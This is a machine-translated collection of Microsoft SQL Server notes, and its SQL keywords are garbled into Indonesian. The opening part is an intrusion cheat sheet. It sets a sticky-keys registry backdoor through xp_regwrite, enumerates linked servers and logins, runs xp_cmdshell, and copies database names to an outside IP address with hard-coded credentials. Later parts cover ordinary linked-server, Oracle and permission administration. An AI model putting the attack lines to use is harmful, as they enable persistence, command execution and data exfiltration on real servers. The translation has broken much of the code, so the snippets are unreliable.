Edit pergeseran pembajakan registri master eksekutif .. xp_regwrite 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Mengkueri server tautan pilih
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,akses data dari master.dbo.sysserver pilih
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,akses data dari master.dbo.sysserver
Kueri linkserver2 Pilih nama host yang berbeda, db_name(dbid),net_address, loginame,program_name dari
Menguasa.. sysprocesses
Mengkueri server tautan dan pengguna login lainnya Pilih * dari [192.168.1.1].master.dbo.syslogins
server tautan kueri Semua database pilih * dari linkedSrvWeb.master.dbo.sysdatabases
Melakukan penyimpanan yang diperluas di LinkServer Eksekutif [IP].master.dbo.xp_cmdshell
Mengkueri semua tabel di linkserver Pilih * dari [ip].master.dbo.sysobjects
Pilih * dari OpenRowSet
('sqloledb','server=IP; uid=pengguna; pwd=kata sandi','pilih @@version')
pilih * dari openquery([LINKSERVER
name],'pilih @@version')
pilih * dari openquery(NDOORS,'pilih IS_SRVROLEMEMBER(''sysadmin'')')
pilih * dari openquery(GM_SERVER,'pilih * dari sysobjects di mana xtype = (''U'')')
Pilih * dari
openquery(NDOORS,'Pilih IS_MEMBER(''db_owner'')')
Pilih * dari OpenQuery(ToatdeWeb,'Pilih
srvname dari master.dbo.sysservers')
Masukkan ke OpenDataSource
('sqloledb','server=222.241.95.12; uid = scd; PWD=A123520; database=hack520').hack520.dbo.zhu pilih
Nama dari master.dbo.sysdatabases buat database hack520 Buat TABEL zhu(nama nvarchar(256)
null); Buat TABEL J8(id int NULL,nama nvarchar(256) null);
Pilih * dari OpenQuery
(toatdeweb,'atur fmtonly dari exec master.dbo.xp_cmdshell ''pengguna internet''')
master eksekutif .. xp_dirtree
'c:\',1,1 Melakukan direktori kueri
tautan eksekutif.master.. xp_cmdshell 'ipconfig'
Pilih * dari OpenQuery(ToatdeWeb,'Set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Hubungkan mysql Select * dari Mem_DB. UserDB.dbo.AdminList
MASTER EXEC .. XP_dirtree 'c:\',1,1
Eksekutif
master.dbo.xp_cmdshell 'dir '
Pilih count(*) dari [tunjukkan] Mengkueri berapa banyak data dalam tabel saat ini
Pilih nama host yang berbeda, db_name(dbid),net_address, loginame, program_name
dari master.. sysprocesses
Pilih * dari gameDB01. Server01.dbo.cabal_character_table di mana name='
Babi'
Saat Anda menghapusnya, tertulis: Database sedang digunakan dan tidak dapat dihapus.
Klik database yang ingin Anda hapus untuk membuka Penampil Peristiwa.
Masukan:
penggunaan
menguasai pergi Kemudian masukkan yang berikut ini: Menyatakan @d varchar(8000) atur @d= ' ' Pilih @d=@d+ ' Kill
'+cast(spid sebagai varchar)+char(13) dari master.. sysprocesses di mana dbid=db_id('nama pustaka') eksekutif (@d) -- Gunakan kode untuk menghapus proses yang terhubung ke database ini terlebih dahulu
MSSQL mengoperasikan Oracle melalui LinkServer
1) Instal Oracle di server SQL_SERVER 2005
9i klien. Misalkan instal ke direktori C:\ora92i\. Jika D: adalah partisi NTFS, Anda perlu mengatur direktori yang diinstal ORACLE sebagai yang digunakan
Pelanggan memiliki hak untuk menjalankan, menambahkan, dan menghapus.
2) Konfigurasikan file C:\ora92i\network\ADMIN\tnsnames.ora. (Teks merah berikut adalah contoh konfigurasi)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ALAMAT = (PROTOKOL = TCP)(HOST = 192.168.0.11)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Jalankan perintah berikut dalam mode DOS untuk mengonfirmasi bahwa klien ORACLE diinstal dengan benar.
Pengguna/password@ORCL SQL Plus
4) Buka Mulai - Panel Kontrol - Layanan dan konfirmasikan bahwa layanan Koordinator Transaksi Terdistribusi dimulai.
5) Buka SQL SERVER Management Studio, Nama Instans (ORCL) - Objek Server (klik kanan) - Server Koneksi Baru.
1.
Server tautan: Tulis nama server yang ditautkan, seperti OracleTest
2. Jenis server, pilih sumber data yang berbeda
3. Antarmuka Akses: Pilih Penyedia Oracle untuk OLE DB
4. Nama Produk: Tulis Oracle
5. Sumber data: Tulis
Nama layanan yang dikonfigurasi dalam file tnsnames.ora, seperti ORCL
6. Akses string antarmuka: userid=sys sebagai sysdba; kata sandi = kata sandi
7. Pada halaman Pilih Opsi Keamanan, gunakan konteks penginstalan ini untuk membuat koneksi:
a) Login Jarak Jauh: pengguna (pengguna lain, bukan sys)
b)
Gunakan kata sandi: kata sandi
8. Atur "NT AUTHORITY\SYSTEM" pada login lokal, sistem pengguna jarak jauh, dan atur kata sandi
9.
Kamu yakin
6) Ada dua cara untuk menulis SQL
a) Menggunakan sintaks T-SQL:
PILIH * DARI
OraTest.ERP.BAS_ITEM_CLASS
Perhatikan bahwa saat memasukkan pernyataan SQL di SQL Query Analyzer, perhatikan peralihan lebar penuh dan setengah lebar Cina
cara!
b) Gunakan sintaks PLSQL: PILIH * DARI openquery(OraTest,'PILIH * DARI
OraTest.ERP.BAS_ITEM_CLASS ')
c) Metode akses kedua sekitar 50% lebih cepat dari yang pertama; Metode akses kedua terhubung langsung
ORACLE sebanding; Metode akses pertama dapat menyebabkan beberapa kesalahan yang tidak terduga, seperti: Tabel tidak ada, atau pengguna saat ini
Tidak ada akses ke meja, dan seterusnya.
d) Jika kolom yang perlu diakses menggunakan tipe data tanpa presisi, keduanya
Ini adalah bug ORACLE yang tidak dapat diperbaiki, dan hanya dapat dihindari dengan penanganan khusus pernyataan kueri:
Metadata yang disediakan oleh penyedia OLE DB 'OraOLEDB.Oracle' untuk kolom tidak konsisten. Informasi metadata diubah pada saat eksekusi.
MSSQL ditambahkan
Hapus pengguna dan berikan izin
Gunakan nama perpustakaan Anda pergi --Tambahkan pengguna exec sp_addlogin 'test' -- tambahkan login eksekutif
sp_grantdbaccess N'test' - menjadikannya pengguna yang sah dari database saat ini eksekutif sp_addrolemember N'db_owner',
N'test' - memberikan semua izin ke database mereka sendiri --Ini menciptakan pengguna yang hanya dapat mengakses database mereka sendiri dan apa yang termasuk dalam database
Tabel publik untuk pengguna tamu pergi --Hapus pengguna uji exec sp_revokedbaccess N'test' -- Hapus akses ke database
Batas exec sp_droplogin N'test' -- hapus login Jika Anda membuatnya di Enterprise Manager, gunakan: Manajer Perusahaan - Keamanan
Seks --Klik kanan Login--Login Baru Item umum --Masukkan nama pengguna dalam nama
--Metode otentikasi dipilih sesuai dengan kebutuhan Anda (jika Anda menggunakan otentikasi Windows, Anda perlu membuat pengguna baru di antara pengguna sistem operasi terlebih dahulu)
--Dalam pengaturan default, pilih nama database yang ingin Anda akses untuk pengguna baru Item peran server Jangan memilih apa pun dalam hal ini basis data
Item akses Periksa nama database yang ingin Anda akses untuk pengguna yang Anda buat Izinkan dalam peran database, centang "publik", "db_ownew" Tentu, ini
Pengguna yang dibuat oleh sampel sama dengan pengguna yang dibuat oleh pernyataan di atas
Langkah terakhir adalah mengatur izin akses khusus untuk pengguna tertentu, yang dapat dirujuk ke contoh minimal berikut:
--Tambahkan pengguna yang hanya diizinkan untuk mengakses tabel yang ditentukan: exec sp_addlogin 'nama pengguna', 'kata sandi', 'nama database default'
--add ke database exec sp_grantdbaccess 'nama pengguna'
--Tetapkan izin seluruh tabel BERIKAN PILIH , SISIPKAN , PERBARUI , HAPUS PADA tabel1 KE [nama pengguna] --Tetapkan izin ke kolom tertentu BERIKAN PILIH , PERBARUI PADA tabel1(id,AA) KE [nama pengguna]
Untuk pengaturan keamanan khusus dan pengetahuan teoretis, silakan lihat Bantuan SQL Online
Deskripsi peran database tetap db_owner Memiliki izin penuh dalam database.
db_accessadmin Anda dapat menambahkan atau menghapus ID pengguna.
db_securityadmin Dapat mengelola izin penuh, kepemilikan objek, peran, dan keanggotaan peran.
db_ddladmin dapat menerbitkan SEMUA DDL, tetapi tidak MEMBERIKAN, CABUT, atau MENOLAK pernyataan.
db_backupoperator dapat mengeluarkan pernyataan DBCC, CHECKPOINT, dan BACKUP.
db_datareader Anda dapat memilih semua data dari tabel pengguna mana pun dalam database.
db_datawriter Anda dapat mengubah semua data di tabel pengguna mana pun dalam database.
db_denydatareader Anda tidak dapat memilih data apa pun dari tabel pengguna mana pun dalam database.
db_denydatawriter Anda tidak dapat mengubah data apa pun di tabel pengguna mana pun dalam database.
Anda harus memilih db_datareader, db_datawriter, db_accessadmin
5. Setelah instans SQL Server dimulai dalam mode pengguna tunggal, akun administrator Windows dapat menggunakan alat sqlcmd untuk terhubung dalam mode autentikasi Windows
SQL Server。 Anda dapat menggunakan perintah T-SQL seperti "sp_addsrvrolemember" untuk menambahkan login yang ada ke peran server sysadmin
atau buat akun login baru. Contoh pernyataan adalah sebagai berikut:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
PERGI
Menambahkan hak istimewa sysadmin
(1) Kelola peran server
Di SQL Server, ada dua prosedur tersimpan utama yang mengimplementasikan manajemen peran SQL Server:
sp_addsrvrolemember
dan sp_dropsrvrolemember
sp_addsrvrolemember Anda dapat menambahkan akun login ke peran server untuk menjadikannya anggota peran server tersebut. Sintaksnya adalah sebagai berikut: sp_addsrvrolemember
login , peran
sp_dropsrvrolemember Anda dapat menghapus akun login dari peran server, dan ketika anggota dihapus dari peran server, ia tidak lagi memiliki peran server tersebut
Izin ditetapkan. Sintaksnya adalah sebagai berikut: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
ke dalamnya
@loginname adalah nama pengguna yang masuk; @rolename adalah peran server.
(2) Kelola peran database
Di SQL Server, manajemen database didukung
Ada enam jenis utama prosedur tersimpan, dan arti spesifik serta sintaksnya adalah sebagai berikut:
sp_addrole: Digunakan untuk membuat peran database baru; sp_addrole
peran, pemilik
sp_droprole: Digunakan untuk menghapus peran database dari peran database saat ini; sp_droprole peran
sp_helprole:
Ini digunakan untuk menampilkan semua informasi tentang semua peran database dalam database saat ini; sp_helprole ['peran']
sp_addrolemember: Digunakan untuk mengirim ke database
Tambahkan pengguna database ke peran, yang dapat berupa peran standar yang ditentukan pengguna atau peran database tetap, tetapi tidak dapat
Peran aplikasi. sp_addrolemember peran, security_account
sp_droprolemember: Digunakan untuk menghapus karakter tertentu
rumah tangga; sp_droprolemember peran, security_account
sp_helprolemember: Digunakan untuk menampilkan semua anggota peran database
。 sp_helprolemember ['peran']
Kueri MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Penulis :
htl258(Tony) -- Tanggal : 2010-06-25 22:23:18 -- Versi: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 Juli 2008 14:43:34 -- Hak Cipta (c) 1988-2008 Microsoft Corporation --
Edisi Pengembang di Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Subjek: Operasi data SQL antara database server yang berbeda ---------------------------------------------------------------------------------- --1. Membuat server tautan --1.1 Buat nama tautan EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', nama server jarak jauh
atau alamat IP' -- Jika Anda memiliki nama instans kustom, tambahkan "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Buat login (atau buat peta login server tautan) (cukup pilih satu cara) --1.2.1 Masuk dengan autentikasi Windows EXEC sp_addlinkedsrvlogin 'LinkName' --atau EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Masuk dengan autentikasi SQL EXEC sp_addlinkedsrvlogin 'LinkName','false',NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Tautkan operasi data terkait server --2.1 Contoh kueri PILIH * DARI LinkName.nama database.nama skema.nama tabel
/*例如:SELECT *
DARI TonyLink.Mydb.dbo.tb */ -- 2.2 Contoh impor PILIH * KE dalam nama tabel DARI LinkName.nama database.nama skema.nama tabel
/*例如:SELECT * INTO Newtb
DARI TonyLink.Mydb.dbo.tb */ -- 2.3 Contoh pembaruan UPDATE LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Orang='g' DI MANA Orang='a' */ -- 2.4 Hapus contoh HAPUS LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE Persons='g' */ --3 melalui fungsi rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metode
- 3.1 Metode OPENQUERY (membutuhkan bantuan server tautan yang baru saja Anda buat): -- 3.1.1 Contoh kueri SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. nama tabel')
/* Misalnya: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Contoh Impor --3.1.2.1 Impor semua kolom INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. Nama tabel
') PILIH * DARI tabel lokal
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
DARI TB */ --3.1.2.2 Mengimpor kolom yang ditentukan INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. nama tabel') (kolom, kolom...) kolom PILIH,
Kolom... DARI tabel lokal
/* Misalnya: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) PILIH
RENTANG,LEVEL,Orang DARI TB */ --3.1.3 Contoh pembaruan UPDATE OPENQUERY(LinkName, 'PILIH * DARI nama database. Nama arsitektur. nama tabel') SET bidang = 'nilai' kata WHERE
Segmen = 'Kondisi'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Orang='a' */ --3.1.4 Hapus contoh DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Nama arsitektur. nama tabel') WHERE nama bidang = 'kondisi'
/*例
Misalnya: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET (Anda tidak perlu menggunakan nama tautan yang dibuat.) Jika nama instans yang terhubung bukan default, Anda perlu mengaturnya dalam nama server sql atau alamat IP.
"\nama instans") --3.2.1 Contoh kueri --3.2.1.1 Kueri metode autentikasi Windows (salah satu metode berikut sudah cukup) PILIH * DARI OPENROWSET('SQLOLEDB', 'server=nama server sql atau
Alamat IP; Trusted_Connection=ya', nama database. Nama arsitektur. Nama tabel) PILIH * DARI OPENROWSET('SQLNCLI',
'server=nama server sql atau alamat IP; Trusted_Connection=ya', nama database. Nama arsitektur. Nama tabel) PILIH * DARI
OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; Trusted_Connection=ya','PILIH * DARI database
Nama. Nama arsitektur. nama tabel') PILIH * DARI OPENROWSET('SQLNCLI', 'server=nama server sql atau alamat IP
Alamat; Trusted_Connection=yes','PILIH * DARI nama database. Nama arsitektur. nama tabel')
/* Misalnya: PILIH * DARI OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ya',Mydb.dbo.tb)
Atau: PILIH * DARI OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ya',Mydb.dbo.tb)
Atau: PILIH * DARI OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ya','PILIH *
DARI Mydb.dbo.tb')
Atau: PILIH * DARI OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ya','PILIH *
DARI Mydb.dbo.tb') */ --3.2.1.2 Kueri Metode Otentikasi SQL (Salah satu metode berikut sudah cukup) PILIH * DARI OPENROWSET
('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. Nama arsitektur. Nama tabel) PILIH * DARI
OPENROWSET('SQLNCLI', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. Nama arsitektur. Nama tabel) PILIH * DARI OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi','PILIH *
DARI nama database. Nama arsitektur. nama tabel') PILIH * DARI OPENROWSET('SQLNCLI', 'server=nama server sql atau alamat IP; uid=
Nama pengguna; pwd=password','PILIH * DARI nama database. Nama arsitektur. nama tabel') PILIH * DARI OPENROWSET('SQLOLEDB', 'sql
nama server'; 'nama pengguna'; 'kata sandi', nama database. Nama arsitektur. Nama tabel) PILIH * DARI OPENROWSET('SQLNCLI', 'NAMA SERVER SQL
'; 'nama pengguna'; 'kata sandi', nama database. Nama arsitektur. Nama tabel) PILIH * DARI OPENROWSET('SQLOLEDB', 'NAMA SERVER SQL'; ' pengguna
nama'; 'Kata Sandi', 'PILIH * DARI nama database. Nama arsitektur. nama tabel') PILIH * DARI OPENROWSET('SQLNCLI', 'server sql
nama'; 'nama pengguna'; 'Kata Sandi', 'PILIH * DARI nama database. Nama arsitektur. nama tabel')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb) Atau: PILIH * DARI OPENROWSET
('SQLNCLI','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb) Atau: PILIH * DARI OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123','PILIH * DARI Mydb.dbo.tb')
atau: PILIH * DARI OPENROWSET('SQLNCLI','server=192.168.58.208; uid = sa; pwd=123','PILIH * DARI
Mydb.dbo.tb')
atau: PILIH * DARI OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123',mydb.dbo.tb)
atau: PILIH * DARI OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123',mydb.dbo.tb)
atau: PILIH * DARI OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','PILIH * DARI Mydb.dbo.tb')
atau: PILIH * DARI OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','PILIH * DARI Mydb.dbo.tb') */ --3.2.2 Contoh impor --3.2.2.1 Impor semua kolom SISIPKAN OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP
Alamat; uid=nama pengguna; pwd=password', nama database. Nama arsitektur. Nama tabel) PILIH * DARI tabel lokal
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb) PILIH * DARI TB */ --3.2.2.2 Impor
Menentukan kolom SISIPKAN OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. rak
Nama konstruksi. nama tabel) (kolom, kolom...) PILIH kolom, kolom... DARI tabel lokal
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb)(RENTANG,LEVEL,Orang) PILIH
RENTANG,LEVEL,Orang DARI TB */ --Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .2.1, cukup ganti fungsi OPENROWSET
Isinya cukup. --3.2.3 Contoh pembaruan PERBARUI OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna
;p wd=password', nama database. Nama arsitektur. Nama tabel) Bidang SET = 'nilai' WHERE = 'kondisi'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb) SET Orang='g' WHERE Persons = 'a' */ --Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .2.1, cukup ganti konten di OPENROWSET. --3.2.4 Hapus indikasi
Contoh HAPUS OPENROWSET('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=password', nama database. Nama skema
.nama tabel) WHERE nama bidang = 'kondisi'
/* Misalnya: HAPUS OPENROWSET('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123',mydb.dbo.tb) TEMPAT
Orang='g' */ --Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .2.1, cukup ganti konten di OPENROWSET. --3.3 Metode OPENDATASOURCE
(Anda tidak perlu menggunakan nama tautan yang dibuat.) Jika nama instans koneksi bukan default, Anda perlu menambahkan nama \instance setelah nama server sql atau alamat IP
") --3.3.1 Contoh kueri --3.3.1.1 Kueri Metode Otentikasi Windows (Salah satu metode berikut sudah cukup) PILIH * DARI OPENDATASOURCE('SQLOLEDB',
'server=nama server sql atau alamat IP; Trusted_Connection=ya'). Nama database. Nama arsitektur. Nama tabel PILIH * DARI
OPENDATASOURCE('SQLNCLI', 'server=nama server sql atau alamat IP; Trusted_Connection=ya'). Nama database. Nama arsitektur.
Nama tabel
/* Misalnya: PILIH * DARI OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ya'). Mydb.dbo.tb
Atau: PILIH * DARI OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ya'). Mydb.dbo.tb */ --3.3.1.2 Kueri metode autentikasi SQL (salah satu metode berikut sudah cukup) PILIH * DARI OPENDATASOURCE('SQLOLEDB', 'server=sql nama server atau
Alamat IP; uid=nama pengguna; pwd=kata sandi'). Nama database. Nama arsitektur. Nama tabel PILIH * DARI OPENDATASOURCE('SQLNCLI', 'server=nama server sql atau alamat IP; uid=pengguna
Nama; pwd=kata sandi'). Nama database. Nama arsitektur. Nama tabel PILIH * DARI OPENDATASOURCE('SQLOLEDB', 'Sumber Data=nama server sql atau alamat IP
Alamat; uid=nama pengguna; pwd=kata sandi'). Nama database. Nama arsitektur. Nama tabel PILIH * DARI OPENDATASOURCE('SQLNCLI', 'Sumber Data=nama server sql atau alamat IP
Alamat; uid=nama pengguna; pwd=kata sandi'). Nama database. Nama arsitektur. Nama tabel
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
Atau: PILIH * DARI OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
Atau: PILIH * DARI OPENDATASOURCE('SQLOLEDB','Data
Sumber=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
Atau: PILIH * DARI OPENDATASOURCE('SQLNCLI','Data
sumber=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb */ Mengimpor semua kolom MASUKKAN OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi').
Sesuai dengan nama perpustakaan. Nama arsitektur. Nama tabel PILIH * DARI tabel lokal
/* Misalnya: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb PILIH
* DARI TB */ --3.3.2.2 Mengimpor kolom yang ditentukan MASUKKAN OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi').
Sesuai dengan nama perpustakaan. Nama arsitektur. Nama tabel (kolom, kolom...) PILIH kolom, kolom... DARI tabel lokal
/* Misalnya: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb
(RENTANG, LEVEL, Orang) PILIH RENTANG,TINGKAT,Orang DARI TB */ --Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .3.1, cukup ganti konten dalam fungsi set baris (OPENDATASOURCE). --3.3.3 Contoh pembaruan PERBARUI OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi'). Nama database. Nama arsitektur. Nama tabel Bidang SET = 'nilai' WHERE = 'kondisi'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb SET Orang='g' WHERE Persons = 'a' */ --Catatan: Untuk metode alternatif lainnya, lihat contoh kueri .3.1, cukup ganti konten dalam fungsi set baris (OPENDATASOURCE). --3.3.4 Hapus contoh HAPUS OPENDATASOURCE('SQLOLEDB', 'server=nama server sql atau alamat IP; uid=nama pengguna; pwd=kata sandi'). Nama database. Nama arsitektur. Nama tabel WHERE nama bidang = 'kondisi'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid = sa; pwd=123').mydb.dbo.tb WHERE Orang='g' */ - Catatan: Lebih banyak alternatif
Lihat contoh kueri .3.1, cukup ganti konten dalam fungsi kumpulan baris (OPENDATASOURCE). -- Menghapus metode server tertaut --Jika Anda tidak lagi menggunakan informasi tautan di masa mendatang, Anda dapat menghapus informasi tautan --4.1 Hapus informasi login (atau hapus peta nama login server tertaut) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Misalnya: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Menghapus nama server yang ditautkan EXEC sp_dropserver 'LinkName','droplogins' -- jika droplogins ditentukan, Peta login harus dihapus sebelum menghapus server yang ditautkan
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Terlampir
: Cara mendapatkan Nama Penyedia (master EXEC.). xp_enum_oledb_providers) PILIH CAST([Nama Penyedia] SEBAGAI
VARCHAR(30)) Nama Penyedia, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion DARI
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ya', 'ANGKAT FMTONLY; EKSEKUTIF
Menguasa.. xp_enum_oledb_providers'
)
|